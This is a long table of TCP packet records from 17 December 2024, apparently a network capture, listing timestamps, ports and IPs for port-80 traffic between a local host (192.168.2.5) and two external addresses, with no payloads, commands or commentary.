Dec 17, 2024 08:03:12.531589031 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.531636000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.531692982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.531733990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.532630920 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.532680035 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.532727957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.532768965 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.533711910 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.533762932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.533838987 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.533879042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.534648895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.534696102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.534811020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.534853935 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.535737991 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.535792112 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.535847902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.535887003 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.536696911 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.536741972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.536802053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.536840916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.537765026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.537812948 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.537872076 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.537914038 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.538774014 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.538819075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.538893938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.538934946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.539766073 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.539814949 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.539865971 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.539907932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.540826082 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.540874004 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.540898085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.540936947 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.541807890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.541851997 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.541910887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.541953087 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.542861938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.542906046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.543001890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.543044090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.543872118 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.543925047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.544109106 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.544159889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.545012951 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.545047998 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.545084000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.545098066 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.546029091 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.546045065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.546083927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.546083927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.546931982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.546982050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.547053099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.547100067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.547959089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.548005104 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.548134089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.548177004 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.548979998 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.549031019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.549073935 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.549119949 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.550091028 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.550141096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.550203085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.550246000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.551001072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.551048994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.551139116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.551183939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.552108049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.552123070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.552154064 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.552186012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.553071022 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.553117990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.553179979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.553221941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.554099083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.554162025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.554209948 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.554254055 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.555198908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.555233955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.555272102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.555272102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.556166887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.556216955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.556278944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.556323051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.695627928 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.695667982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.695694923 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.695730925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.695787907 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.695837975 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.695905924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.695950031 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.696813107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.696856976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.696921110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.696964979 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.697818041 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.697865963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.697931051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.697977066 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.699011087 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.699057102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.699171066 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.699214935 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.699860096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.699909925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.699971914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.700016975 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.700881958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.700931072 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.701004028 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.701046944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.701893091 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.701940060 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.702009916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.702054977 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.702936888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.702980995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.703042984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.703087091 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.703978062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.704024076 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.704086065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.704129934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.705142021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.705204010 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.705216885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.705267906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.706003904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.706056118 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.706139088 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.706186056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.707070112 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.707119942 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.707163095 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.707211018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.708056927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.708110094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.708163977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.708211899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.709076881 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.709129095 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.709245920 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.709294081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.710098982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.710153103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.710206032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.710256100 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.711143017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.711195946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.711261988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.711313009 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.712146997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.712198019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.712250948 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.712301016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.713197947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.713249922 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.713320017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.713371992 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.714176893 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.714230061 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.714277983 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.714323044 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.715229034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.715282917 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.715369940 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.715419054 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.716303110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.716355085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.716435909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.716485977 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.717318058 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.717369080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.717442989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.717493057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.718283892 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.718337059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.718408108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.718457937 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.719348907 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.719506979 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.719532013 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.719585896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.720411062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.720469952 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.720472097 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.720529079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.721345901 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.721400976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.721563101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.721611977 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.722373009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.722438097 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.722543955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.722596884 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.723412991 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.723468065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.723525047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.723576069 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.724430084 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.724482059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.724555969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.724607944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.725446939 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.725498915 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.725501060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.725549936 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.726464987 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.726516008 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.726577997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.726620913 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.727490902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.727538109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.727624893 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.727669001 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.728547096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.728605986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.728673935 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.728718042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.729531050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.729629993 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.729639053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.729685068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.730573893 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.730619907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.730765104 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.730807066 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.731604099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.731654882 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.731656075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.731694937 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.732604980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.732661009 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.732716084 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.732764006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.733647108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.733700037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.733733892 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.733782053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.734652042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.734709978 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.734766960 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.734814882 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.735671043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.735723972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.735760927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.735810041 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.736695051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.736747980 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.736783028 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.736833096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.737695932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.737746954 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.737824917 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.737901926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.738732100 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.738782883 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.738857985 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.738909006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.739810944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.739846945 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.739864111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.739891052 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.740768909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.740819931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.740880966 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.740928888 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.741760015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.741811037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.741879940 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.741925955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.742829084 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.742880106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.742964029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.743011951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.743849039 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.743899107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.743947029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.743995905 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.744883060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.744957924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.744997025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.745039940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.745919943 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.745978117 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.746059895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.746109962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.746922970 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.746980906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.747014999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.747064114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.747936010 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.747994900 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.748064995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.748114109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.749001980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.749051094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.887690067 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.887778044 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.887814999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.887872934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.888170958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.888243914 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.888272047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.888324976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.889214039 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.889270067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:12.889323950 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:12.889369011 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:15.436023951 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:15.436325073 CET	49842	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:15.556104898 CET	80	49842	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:15.556191921 CET	80	49818	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:15.556265116 CET	49842	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:15.556338072 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:15.585509062 CET	49842	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:15.705315113 CET	80	49842	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:16.891567945 CET	80	49842	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:16.891647100 CET	49842	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:16.894788027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:16.895071983 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:17.015659094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:17.015737057 CET	49844	80	192.168.2.5	31.41.244.11
